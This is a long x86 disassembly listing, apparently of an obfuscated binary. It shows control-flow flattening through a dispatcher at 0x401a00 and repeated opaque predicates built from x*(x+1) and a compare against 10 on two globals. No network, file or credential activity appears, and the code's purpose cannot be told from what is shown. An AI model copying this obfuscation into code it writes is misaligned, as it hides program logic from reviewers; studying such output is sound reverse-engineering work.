or eax, 0xad
rcr ebx, 0xa3
add edi, 0x20
mov edx, 0xec
ror esi, 0xf1
rcl edi, 0x3d
dec eax
or esi, 0x39
or eax, 0x87
mov dword [ebp - 0x24], eax
mov ecx, 0x932b3c7d
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x98]
vmovups ymmword [eax + 0x20], ymm1
vmovups ymm1, ymmword [0x4511d8]
vmovups ymmword [eax + 0x40], ymm2
vmovups ymmword [eax], ymm0
vmovups ymmword [eax + 0x58], ymm1
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x34]
cmp dword [eax + 0xe8], 0
mov eax, dword [ebp - 0x9c]
setne byte [eax]
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x9c]
cmp byte [eax], 0
mov eax, 0xff2dede
cmove eax, ecx
jmp 0x401a00
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0xa4]
mov eax, dword [eax]
lea eax, [eax + eax*4]
mov eax, dword [ecx + eax*4 + 0x10]
add eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x5c]
mov dword [ecx], eax
mov eax, 0x8bfed3d3
jmp 0x401a00
mov eax, dword [ebp - 0xf0]
mov eax, dword [ebp - 0xf4]
mov eax, 0xaaae125e
jmp 0x401a00
mov eax, dword [ebp - 0x5c]
mov eax, 0x3ffd834d
jmp 0x401a00
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
sub ecx, dword [eax + 0x34]
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x124], ecx
mov ecx, dword [ebp - 0x1c]
add eax, ecx
mov dword [ebp - 0x74], eax
mov eax, 0x63d3324b
jmp 0x401a00
mov eax, dword [ebp - 0x1a0]
mov ecx, 0x94d3301b
cmp eax, 0xc
mov eax, 0x95ed3358
cmove eax, ecx
jmp 0x401a00
mov ecx, dword [0x4a3f84]
mov edi, dword [ebp - 0x80]
lea eax, [ecx + 1]
mov dword [ebp - 0xf0], edi
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x8119afea
and eax, 0x6404004c
mov edx, ecx
and edx, 0x7ee65015
or esi, edx
mov edx, esi
xor esi, 0x201010
xor edx, 0x81110000
or esi, 0x8c0a502
and edx, 0x93134001
and esi, 0x8e8bfb2
or edx, esi
mov esi, ecx
or esi, 0x281ab0
and esi, 0x8e8bfb2
or eax, esi
mov esi, 0xebb753bc
xor eax, edx
mov edx, eax
not edx
and eax, 0x933b5ab0
and edx, 0x6cc4a54f
or eax, edx
mov edx, eax
not edx
and eax, 0x2a8964f7
and edx, 0xd5769b08
or eax, edx
xor eax, 0x2a8964f7
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x2fef3649
and ecx, 0xd010c9b6
or eax, ecx
xor eax, 0x2fef3649
setne al
sete dl
cmp dword [0x4a3f80], 0xa
setl cl
setge ah
and ah, dl
and al, cl
or al, ah
mov ah, dl
xor ah, cl
or cl, dl
xor al, 1
xor cl, 1
mov edx, eax
or cl, ah
or dl, cl
xor al, cl
mov ecx, edx
xor cl, al
test al, al
mov eax, 0xfe47d1bf
cmovne eax, esi
test dl, dl
mov edx, 0xfe47d1bf
cmovne eax, edx
mov edx, dword [ebp - 0xc0]
test cl, cl
cmove eax, esi
mov dword [ebp - 0xf4], edx
jmp 0x401a00
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x180], eax
mov eax, dword [ebp - 0x34]
add eax, 0x18
mov dword [ebp - 0x184], eax
mov eax, 0x8b84ba30
jmp 0x401a00
cmp dword [ebp - 0x188], 0
mov eax, 0xd1112469
mov ecx, 0x98af3bf8
cmove eax, ecx
jmp 0x401a00
mov eax, dword [ebp - 0x3c]
mov eax, 0x2fee2a6b
jmp 0x401a00
mov eax, 0x49ba8360
jmp 0x401a00
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x3c]
mov eax, 0x8d76ea3e
jmp 0x401a00
mov eax, dword [ebp - 0x3c]
mov ecx, dword [0x4a3f84]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
or ecx, 0x282a9e
mov esi, edx
mov edi, edx
or esi, 0x68838061
and ecx, 0x68abaaff
and edi, 0x16400400
and edx, 0x276f747e
or edi, ecx
mov ecx, eax
and esi, 0x68abaaff
and ecx, 0x81145100
and eax, 0xd8908b81
or ecx, esi
or eax, edx
xor ecx, edi
mov edi, 0x240bb01e
mov esi, ecx
not esi
and ecx, 0x7ec38460
and esi, 0x813c7b9f
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xaaf71e4f
and esi, 0x5508e1b0
or ecx, esi
mov esi, ecx
xor esi, 0x80800608
xor ecx, 0x5508e1b0
mov edx, ecx
and edx, 0x3b775967
and esi, 0xc488a698
or esi, edx
mov edx, eax
xor edx, 0xc0808280
xor eax, 0x276f747e
or ecx, eax
and eax, 0x3b775967
and edx, 0xc488a698
or edx, eax
not ecx
xor edx, esi
mov esi, 0x808ae818
or ecx, edx
xor ecx, 0xffffffff
setne dl
sete ah
cmp dword [0x4a3f80], 0xa
setl cl
setge al
mov ch, cl
and dl, cl
or cl, ah
and al, ah
xor ch, ah
xor cl, 1
or al, dl
or cl, ch
xor al, 1
mov edx, ecx
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
mov ecx, 0x240bb01e
cmovne ecx, esi
test al, al
mov eax, ecx
cmovne eax, edi
test dl, dl
cmovne eax, ecx
jmp 0x401a00
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x3c]
mov ecx, dword [ecx]
lea eax, [eax + ecx*4]
mov ecx, dword [0x4a3f84]
mov dword [ebp - 0x18c], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0x8d36df3
and edx, 0xf72c920c
or edx, esi
mov esi, ecx
not esi
and ecx, 0xf72c920c
or eax, esi
and esi, 0x8d36df3
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov esi, eax
xor esi, 0x51231c28
mov edx, eax
and edx, 0x8d6bd451
and esi, eax
not eax
and eax, 0x72942bae
or edx, eax
mov ecx, edx
xor ecx, 0x8d6bd451
xor edx, 0x7014218e
mov eax, ecx
and eax, 0x51231c28
and edx, 0xf97d31df
or eax, esi
not esi
and esi, 0xaedce3d6
and eax, 0x51231c29
or eax, esi
mov esi, ecx
and esi, 0x682ce20
and ecx, 1
or esi, edx
mov edx, eax
not edx
and eax, 0x34043429
xor esi, 0xf97d31de
or ecx, esi
mov esi, edx
and esi, 0xcbfbcbd6
or eax, esi
mov esi, ecx
not esi
or edx, ecx
and ecx, 0xcbfbcbd6
and esi, 0x34043429
not edx
or esi, ecx
xor esi, eax
or edx, esi
mov esi, 0x36b6991
xor edx, 0xffffffff
sete al
setne cl
cmp dword [0x4a3f80], 0xa
setge dl
mov ah, dl
and al, dl
or dl, cl
inc ah
and ah, cl
or al, ah
xor al, 1
mov ecx, eax
or al, dl
xor cl, dl
mov ch, al
xor ch, cl
test al, al
mov eax, 0xfc41c0f7
cmovne eax, esi
test cl, cl
cmove eax, esi
test ch, ch
mov ecx, 0xfc41c0f7
cmove eax, ecx
jmp 0x401a00
mov eax, dword [ebp - 0xe4]
push dword [eax]
push dword [ebp - 0xe0]
push dword [ebp - 0xd8]
vzeroupper
call fcn.00444420
add esp, 0xc
mov eax, dword [0x4a3f84]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0xcc5d8ac2
mov eax, ecx
and eax, 0xa9a279d0
andn edx, ecx, edx
not ecx
and ecx, 0x565d862f
mov ebx, edx
not ebx
and edx, 0xf048d13f
or ecx, eax
mov eax, ecx
xor eax, 0x21a27110
mov esi, ecx
xor esi, 0x1000002d
or eax, 0xcc5d8ac2
and esi, 0x3000513d
mov edi, eax
or eax, ebx
and edi, 0xfb72ec0
and ebx, 0xfb72ec0
or esi, edi
or edx, ebx
not eax
xor edx, esi
mov esi, 0x90a4bc05
or eax, edx
mov edx, eax
not edx
and eax, 0x50d12f56
and edx, 0xaf2ed0a9
or eax, edx
mov edx, ecx
xor edx, 0x141c8428
xor ecx, 0x81820880
and ecx, 0xc3c30a86
and edx, 0x3c3cf578
xor eax, 0x63735a6a
or edx, ecx
xor edx, 0x3c3cf578
or edx, eax
mov ecx, edx
xor ecx, 0x3839fd8c
mov eax, edx
and eax, 0x187484
and ecx, edx
not edx
and edx, 0x38218908
or eax, edx
xor eax, 0x187484
or eax, ecx
not ecx
and ecx, 0xc7c60273
and eax, 0x3839fd8c
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x86c854a6
and ecx, 0x7937ab59
or eax, ecx
mov ecx, eax
xor ecx, 0x24050a6
xor eax, 0x7125a248
and eax, 0xf5ada648
and ecx, 0xa5259b7
or ecx, eax
mov eax, ecx
xor eax, 0xd1050600
xor ecx, 0x8521813
and ecx, 0x2cfab85b
and eax, 0xd30547a4
or eax, ecx
xor eax, 0xd30547a4
sete dl
setne ah
cmp dword [0x4a3f80], 0xa
setge ch
setl cl
mov al, ch
xor al, ah
and ah, al
and al, ch
xor ah, 1
xor al, 1
mov ch, ah
xor ch, al
or al, ah
mov ah, cl
xor cl, dl
or ah, dl
xor cl, 1
xor al, 1
mov edx, ecx
or cl, ah
or al, ch
xor dl, ah
xor cl, 1
xor al, 1
or cl, dl
mov edx, ecx
mov ah, cl
xor dl, 1
and dl, cl
xor dl, 1
xor ah, dl
or dl, cl
mov ecx, eax
xor dl, 1
or dl, ah
xor dl, 1
or cl, dl
xor al, dl
mov edx, ecx
xor dl, al
test al, 1
mov eax, 0x5d5cd7dd
cmovne eax, esi
test cl, 1
mov ecx, 0x5d5cd7dd
jmp 0x40b6a8
mov eax, 0xb3d823d7
jmp 0x401a00
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x38]
inc eax
mov dword [ecx], eax
mov eax, 0xc8192630
jmp 0x401a00
mov eax, dword [ebp - 0xac]
mov dword [ebp - 0x168], eax
mov eax, 0x26027800
jmp 0x401a00
mov eax, dword [0x4a3f84]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
and edx, 0x72d6e194
and ecx, 0x8d291e6b
or ecx, edx
mov edx, ecx
xor edx, 0x72d6e194
xor ecx, 0x8d291e6b
mov eax, edx
mov esi, ecx
and esi, 0x427e5d9a
and eax, 0xbd81a265
and edx, 0x5c6fbc0c
or eax, esi
mov esi, eax
not esi
and eax, 0x4b13a47f
and esi, 0xb4ec5b80
or eax, esi
mov esi, ecx
and esi, 0xa39043f3
and ecx, 1
or esi, edx
mov edx, eax
xor edx, 0x141c8c4
xor eax, 0xf692061b
xor esi, 0x5c6fbc0d
and edx, 0x81d3ccd4
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x9536dcc2
and esi, 0x6ac9233d
or ecx, esi
mov esi, eax
and esi, 0x7e2c332b
or edx, esi
mov esi, ecx
xor esi, 0x8112ccc0
xor ecx, 0x6ac9233d
or eax, ecx
and ecx, 0x7e2c332b
and esi, 0x81d3ccd4
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0x80af6370
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x9a77b976
and edx, 0x65884689
or ecx, edx
andn edx, eax, eax
xor ecx, 0x9a77b976
or edx, ecx
mov eax, edx
not eax
and edx, 0x6eae505e
and eax, 0x9151afa1
or eax, edx
mov ecx, eax
xor ecx, 0x44201054
xor eax, 0x1512e21
and eax, 0x2bdf6e2b
and ecx, 0xd42091d4
or ecx, eax
xor ecx, 0xd42091d4
setne dl
sete ah
cmp dword [0x4a3f80], 0xa
mov ch, dl
setl al
setge cl
and dl, al
and ch, cl
and al, ah
or al, ch
xor al, 1
or al, cl
and cl, ah
or cl, dl
mov ah, cl
mov ch, cl
xor ah, 1
mov dl, ah
or ah, al
and dl, cl
xor dl, 1
xor ch, dl
or dl, cl
mov cl, ah
xor dl, 1
or dl, ch
xor dl, al
xor cl, dl
test ah, ah
mov eax, 0xe389250
cmovne eax, esi
test dl, 1
mov edx, dword [ebp - 0x1c]
cmove eax, esi
mov esi, dword [ebp - 0x34]
test cl, 1
mov dword [ebp - 0x15c], edx
mov edx, 0xe389250
mov dword [ebp - 0x160], esi
cmove eax, edx
jmp 0x401a00
mov eax, dword [ebp - 0xec]
mov ecx, dword [ebp - 0xe8]
cmp ecx, dword [eax + 0x34]
mov ecx, dword [0x4a3f84]
lea eax, [ecx + 1]
setne byte [ebp - 0x62]
imul eax, ecx
mov edx, eax
mov ecx, eax
or ecx, 0xa4b00
not edx
mov esi, edx
or esi, 0x7d118082
and ecx, 0x7d1bcb82
and edx, 0x640465
or edx, ecx
mov ecx, eax
and esi, 0x7d1bcb82
and ecx, 0x82803018
or ecx, esi
xor ecx, edx
mov edx, ecx
not edx
and ecx, 0x9faba773
and edx, 0x6054588c
or ecx, edx
mov edx, ecx
xor edx, 0xe2de2395
xor ecx, 0x1d21dc6a
andn esi, eax, ecx
and edx, eax
or edx, esi
mov esi, 0xe4c4470b
not edx
or edx, ecx
xor edx, 0xffffffff
setne cl
sete dl
cmp dword [0x4a3f80], 0xa
setl ah
setge ch
mov al, ah
or ch, dl
xor cl, ah
xor al, dl
and al, dl
or dl, ah
mov ah, cl
or cl, dl
xor ah, dl
xor al, 1
xor cl, 1
mov dh, al
or al, ch
or cl, ah
xor dh, ch
xor al, 1
mov ah, cl
or al, dh
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
mov ecx, eax
xor dl, 1
or dl, ah
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, cl
test al, 1
mov eax, 0xb42dfd4c
cmovne esi, eax
test dl, 1
mov eax, 0xe4c4470b
cmovne eax, esi
test cl, 1
cmove eax, esi
jmp 0x401a00
mov eax, 0x6f507cae
jmp 0x401a00
mov eax, 0xa0acdca2
jmp 0x401a00
mov eax, 0x9ab70671
jmp 0x401a00
mov eax, 0xc0cccf6
jmp 0x401a00
mov ecx, dword [0x4a3f84]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
or ecx, 0x34a020c2
mov esi, edx
mov edi, edx
or esi, 0x8411514
and ecx, 0x3ce135d6
and edi, 0x43028001
and edx, 0x4dc96f2
or edi, ecx
mov ecx, eax
and esi, 0x3ce135d6
and ecx, 0x801c4a28
and eax, 0xfb23690d
or ecx, esi
or eax, edx
xor ecx, edi
mov edx, eax
xor eax, 0x4dc96f2
xor edx, 0xfb23690d
mov esi, ecx
not esi
and ecx, 0xe58660a9
and esi, 0x1a799f56
or ecx, esi
mov esi, ecx
xor esi, 0xaec5f5bd
xor ecx, 0x513a0a42
and eax, esi
and edx, ecx
mov esi, 0x707a7f15
or eax, edx
xor ecx, eax
test ecx, eax
setne dl
sete ah
cmp dword [0x4a3f80], 0xa
mov ecx, edx
setl ch
setge al
or dl, ch
and cl, al
and ch, ah
or ch, cl
mov cl, ch
xor cl, al
or al, ah
mov ah, al
or al, dl
and cl, ch
xor ah, dl
xor al, 1
or al, ah
mov ah, al
xor ah, 1
mov dl, ah
and dl, al
xor ah, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, ah
mov ah, cl
xor ah, al
or al, cl
xor dl, cl
xor al, 1
mov ecx, edx
or al, ah
xor cl, al
not cl
test cl, 1
mov ecx, 0x15b86d80
cmovne ecx, esi
test al, 1
mov eax, 0x15b86d80
cmovne eax, ecx
jmp 0x40c4a6
mov eax, dword [ebp - 0x100]
mov eax, 0x9cf5fc7b
jmp 0x401a00
mov eax, 0x4baf356b
jmp 0x401a00
mov eax, dword [ebp - 0x28]
mov eax, 0x654fc761
jmp 0x401a00
cmp byte [ebp - 0x6b], 0
mov eax, 0xe53ae948
mov ecx, 0x15655743
cmovne eax, ecx
jmp 0x401a00
movzx eax, word [ebp - 0xb4]
shr eax, 0xc
mov dword [ebp - 0x50], eax
mov eax, 0x34a6b3c2
jmp 0x401a00
mov eax, 0x931b81a2
jmp 0x401a00
mov eax, dword [0x4a3f84]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0xfffffffe
not eax
mov esi, eax
and edx, ecx
and esi, 0xfffffffe
and ecx, 0x3db216c3
and eax, 0xc24de93c
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0xc24de93c
mov edi, esi
and edi, 0x3db216c3
or edx, edi
mov edi, 0x6ae04723
xor eax, edx
not eax
or eax, esi
mov esi, 0xa18be6a1
xor eax, 0xffffffff
setne ah
sete dl
cmp dword [0x4a3f80], 0xa
mov cl, ah
setge al
or cl, al
xor ah, al
or al, dl
and ah, dl
xor al, 1
xor cl, 1
or al, ah
xor al, cl
mov edx, eax
cmovne esi, edi
not dl
test dl, cl
cmovne esi, edi
test al, al
mov eax, esi
cmovne eax, edi
test dl, cl
cmove eax, esi
jmp 0x401a00
mov ecx, dword [0x4a3f84]
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
or esi, 0xc222da02
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0xdcc0479
and ecx, eax
and esi, 0xc366da1b
and edx, 0xc880460
or edx, esi
mov esi, ecx
not esi
and ecx, 0x3c9925e4
or eax, esi
and esi, 0xc366da1b
or ecx, esi
not eax
mov esi, 0xe877075
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0xf233fb86
and eax, 0xdcc0479
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and eax, 0x50fc3dde
and edx, 0xfffffffe
and ecx, 0xaf03c221
or eax, ecx
xor eax, 0x50fc3ddf
or eax, edx
mov ecx, eax
not ecx
and eax, 0x74a0cd8d
and ecx, 0x8b5f3272
or ecx, eax
mov eax, ecx
xor eax, 0x6020c484
xor ecx, 0x8b5f3272
mov edx, ecx
and edx, 0x9d830929
and eax, 0x627cf6d6
or eax, edx
xor eax, 0x627cf6d6
or eax, ecx
xor eax, 0xffffffff
sete al
setne cl
cmp dword [0x4a3f80], 0xa
setl dl
mov ah, dl
xor cl, dl
or ah, al
xor al, dl
xor cl, 1
and al, ah
xor ah, 1
or ah, cl
xor al, 1
mov cl, ah
xor cl, al
or al, ah
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x89224ddc
cmovne eax, esi
test cl, cl
mov ecx, 0x89224ddc
cmove eax, esi
test dl, dl
cmove eax, ecx
jmp 0x401a00
cmp byte [ebp - 0x66], 0
mov eax, 0xd516ebc9
mov ecx, 0x49b794a7
cmovne eax, ecx
jmp 0x401a00
cmp dword [ebp - 0xc4], 0
mov eax, dword [0x4a3f84]
lea edx, [eax + 1]
setne byte [ebp - 0x61]
imul edx, eax
mov ecx, edx
not ecx
mov eax, edx
and eax, 0x43e49c86
mov esi, ecx
and esi, 0xbc1b6379
and ecx, 0x86125ddd
or eax, esi
mov esi, eax
not esi
and eax, 0xbc1b6378
and esi, 0x43e49c87
or eax, esi
mov esi, eax
not esi
and eax, 0xdb71df4b
and esi, 0x248e20b4
or eax, esi
mov esi, eax
xor esi, 0x82105d49
xor eax, 0x248e20b4
mov edi, eax
or eax, edx
and edx, 0x79eda222
and edi, 0x79eda222
and esi, 0x86125ddd
or esi, edi
or ecx, edx
not eax
xor ecx, esi
mov esi, 0xde15dc90
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x4ecd6bf3
and ecx, 0xb132940c
or eax, ecx
xor eax, 0x4ecd6bf3
sete cl
setne ah
cmp dword [0x4a3f80], 0xa
setl al
setge ch
mov edx, eax
and al, ah
and ah, ch
and dl, cl
and cl, ch
or dl, ah
or al, cl
xor dl, 1
xor al, 1
or dl, ch
mov ecx, edx
or cl, al
xor al, dl
mov edx, eax
xor dl, cl
test al, al
mov eax, 0xd63bab74
cmovne eax, esi
test cl, cl
mov ecx, 0xd63bab74
cmovne eax, ecx
jmp 0x40bb1c
mov ecx, dword [0x4a3f84]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0xdd8955c8
mov esi, eax
and esi, 0x2276aa37
mov edx, eax
not edx
andn ecx, eax, ecx
and edx, 0x493e30fe
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x2276aa36
and esi, 0xdd8955c9
or ecx, esi
mov esi, eax
and esi, 0xb6c1cf01
and eax, 1
or esi, edx
xor esi, 0x493e30ff
or eax, esi
mov esi, 0x78d2a4c2
mov edx, eax
not edx
and eax, 0xfbd67748
and edx, 0x42988b7
or eax, edx
xor eax, 0xfbd67748
or eax, ecx
mov ecx, eax
xor ecx, 0x7ac1899f
and ecx, eax
not eax
or eax, ecx
not ecx
and ecx, 0x853e7660
and eax, 0x7ac1899f
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x724d997
and ecx, 0xf8db2668
or eax, ecx
mov ecx, eax
xor ecx, 0x7201116
xor eax, 0xc0002028
and eax, 0xc004e8a9
and ecx, 0x3ffb1756
or ecx, eax
xor ecx, 0x3ffb1756
sete cl
setne dl
cmp dword [0x4a3f80], 0xa
setl ah
setge al
mov ch, ah
xor cl, ah
xor ah, dl
not ah
or ch, dl
and ah, dl
xor ah, 1
mov dh, ah
or ah, ch
xor dh, ch
mov ch, al
or al, dl
xor ah, 1
xor al, 1
xor ch, dl
or ah, dh
or al, cl
xor ah, 1
xor al, 1
or al, ch
mov edx, eax
mov ecx, eax
xor dl, 1
and cl, dl
xor cl, 1
or cl, dl
xor cl, 1
or cl, al
xor cl, ah
or ah, al
mov dl, ah
xor dl, cl
test ah, 1
mov eax, 0x3835a121
cmovne eax, esi
test cl, 1
mov ecx, 0x3835a121
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x401a00
mov eax, dword [ebp - 0xec]
mov eax, dword [ebp - 0xe8]
mov eax, 0x22535af9
jmp 0x401a00
mov eax, 0xfc8401b0
jmp 0x401a00
mov ecx, dword [0x4a3f84]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0xfffffffe
not edx
mov esi, edx
and ecx, eax
and edx, 0xd0c6351d
and eax, 0x2f39cae2
and esi, 0xfffffffe
or eax, edx
or ecx, esi
mov esi, 0x2ed3b4f
mov edx, eax
xor edx, 0x2f39cae2
xor eax, 0xd0c6351d
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
setne dl
sete ah
cmp dword [0x4a3f80], 0xa
mov ch, dl
setl cl
setge al
and ch, al
and cl, ah
xor dl, al
or cl, ch
and dl, ah
xor cl, 1
or cl, al
or al, ah
xor al, 1
xor cl, 1
or al, dl
xor al, cl
mov edx, eax
not dl
and dl, cl
test al, 1
mov ecx, 0xa826881d
cmovne ecx, esi
test dl, 1
cmovne ecx, esi
test al, 1
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x20]
mov edi, dword [ebp - 0x7c]
mov eax, dword [eax]
lea eax, [eax + eax*4]
mov eax, dword [edi + eax*8 + 8]
mov dword [ebp - 0x118], eax
mov eax, ecx
cmovne eax, esi
test dl, 1
cmove eax, ecx
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov ecx, dword [edi + ecx*8 + 0xc]
add ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x11c], ecx
jmp 0x401a00
mov eax, 0x1a05a86b
jmp 0x401a00
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x9980200
mov ebx, ecx
xor ebx, 0x1f9aa680
mov edx, eax
and edx, 0x1602a480
and ebx, ecx
and eax, 0x5db81c27
or esi, edx
xor esi, 0x9980200
or ebx, esi
mov esi, ebx
not esi
and ebx, 0x8eb247bc
and esi, 0x714db843
or ebx, esi
mov esi, ebx
xor ebx, 0xc901c03
xor esi, 0xd128e13c
mov edi, esi
or esi, ecx
and ecx, 0xa247e3d8
and edi, 0xa247e3d8
and ebx, 0x5db81c27
or ebx, edi
or eax, ecx
not esi
xor eax, ebx
or esi, eax
mov eax, esi
not eax
and esi, 0xa4d0a391
and eax, 0x5b2f5c6e
or esi, eax
mov eax, 0x7d4258f2
cmp esi, 0xa4d0a391
setne byte [ebp - 0x6c]
jmp 0x401a00
mov eax, 0x78e3394b
jmp 0x401a00
mov eax, dword [ebp - 0x3c]
mov dword [eax], 0
mov eax, 0x240bb01e
jmp 0x401a00
mov eax, dword [ebp - 0x40]
mov dword [eax], 4
mov eax, 0xbbee323b
jmp 0x401a00
mov eax, dword [0x4a3f84]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov esi, ecx
andn eax, ecx, ecx
and esi, 0x890808fd
and edx, 0x76f7f702
or edx, esi
mov esi, eax
not esi
and eax, 0x76f7f702
or ecx, esi
and esi, 0x890808fd
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov edx, ecx
xor edx, 1
mov eax, ecx
not eax
and edx, ecx
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
mov eax, edx
not eax
and edx, 0x1e360151
mov esi, eax
and esi, 0xe1c9feae
or edx, esi
mov esi, ecx
not esi
and ecx, 0x1e360151
or eax, esi
and esi, 0xe1c9feae
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x84486856
and eax, 0x1861080
mov edx, ecx
and edx, 0x42110309
or ecx, 0x86184b02
or esi, edx
and ecx, 0xbe38cf22
mov edx, esi
xor edx, 0x402054
xor esi, 0x3a308720
or eax, ecx
and esi, 0xbe38cf22
and edx, 0x4041205d
or edx, esi
mov esi, 0xb3b0966
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xc6596b5f
and ecx, 0x39a694a0
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x47d48684
mov edx, ecx
and edx, 0xb82b797b
or eax, edx
xor eax, 0xb82b797b
xor ecx, eax
test ecx, eax
setne dl
sete ah
cmp dword [0x4a3f80], 0xa
mov dh, dl
setge al
setl ch
mov cl, al
or dh, ch
and dl, ch
or ch, ah
and al, ah
xor ch, 1
or al, dl
or cl, ah
mov bl, dh
or al, ch
xor bl, cl
or cl, dh
mov edx, eax
xor cl, 1
not dl
or cl, bl
and dl, al
xor dl, 1
mov ah, dl
or dl, al
xor ah, al
xor dl, 1
or dl, ah
mov ah, dl
xor dl, 1
and dl, cl
xor cl, 1
and ah, cl
or cl, al
or dl, ah
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x99ab162b
cmovne esi, eax
test cl, 1
mov eax, 0xb3b0966
cmovne eax, esi
test dl, 1
cmove eax, esi
jmp 0x401a00
mov eax, 0xc53f21db
jmp 0x401a00
cmp byte [ebp - 0x6c], 0
mov eax, 0xfb1e9600
mov ecx, 0x75fd9cde
cmovne eax, ecx
jmp 0x401a00
mov eax, 0x78e3394b
mov dword [ebp - 0x80], 0
jmp 0x401a00
mov ecx, dword [0x4a3f84]
mov dword [ebp - 0x70], 0
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0xa01016c8
and eax, 0xca08801
mov edx, ecx
or edx, 0x51470124
and esi, 0xf15717ec
and ecx, 0x2086012
and edx, 0xf15717ec
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0xc0f0c05a
and ecx, 0x3f0f3fa5
or eax, ecx
mov edx, eax
mov esi, eax
xor edx, 0x11008068
xor esi, 0x6c405e93
xor eax, 0x100
mov ecx, esi
and ecx, 0xe2bf3b04
and edx, 0x1d40c4fb
or esi, 0xc161c049
and eax, 0xc000110
or edx, ecx
and esi, 0xf17bc86d
mov ecx, edx
xor edx, 0xe2bf3b04
xor ecx, 0x1d40c4fb
or eax, esi
mov edi, edx
or edi, 0x301a0824
mov ebx, ecx
and ebx, 0x2843682
and edx, 0x3969fa2d
and edi, 0xf17bc86d
or ebx, edi
xor eax, ebx
mov esi, eax
not esi
and eax, 0x5ee65c0b
and esi, 0xa119a3f4
or eax, esi
mov esi, ecx
and esi, 0xc69605d2
and ecx, 1
or esi, edx
mov edx, eax
xor edx, 0x9d000081
xor eax, 0x62fc553e
xor esi, 0x3969fa2c
and edx, 0xfd3804b1
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xaf10f50a
and esi, 0x50ef0af5
or ecx, esi
mov esi, eax
and esi, 0x2c7fb4e
or edx, esi
mov esi, ecx
xor esi, 0xad100400
xor ecx, 0x50ef0af5
or eax, ecx
and ecx, 0x2c7fb4e
and esi, 0xfd3804b1
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0x99545432
mov ecx, eax
xor ecx, 0xa9c6f34d
and ecx, eax
not eax
or eax, ecx
not ecx
and ecx, 0x56390cb2
and eax, 0xa9c6f34d
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xcc8dc30
and ecx, 0xf33723cf
or eax, ecx
xor eax, 0xf33723cf
sete al
setne cl
cmp dword [0x4a3f80], 0xa
setge dl
setl ah
and ah, cl
mov ecx, edx
and cl, al
xor al, dl
or cl, ah
and al, dl
or al, cl
mov edx, eax
mov ah, al
and ah, cl
xor dl, 1
xor cl, 1
and dl, cl
or cl, al
or dl, ah
mov ch, cl
mov eax, 0xfba4397
xor ch, dl
test cl, cl
cmovne eax, esi
test dl, dl
mov edx, 0xfba4397
cmove eax, esi
test ch, 1
cmove eax, edx
jmp 0x401a00
mov eax, dword [ebp - 0x28]
mov eax, 0x68bfd976
jmp 0x401a00
mov eax, 0x740cbea7
jmp 0x401a00
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xd4], 0x458000
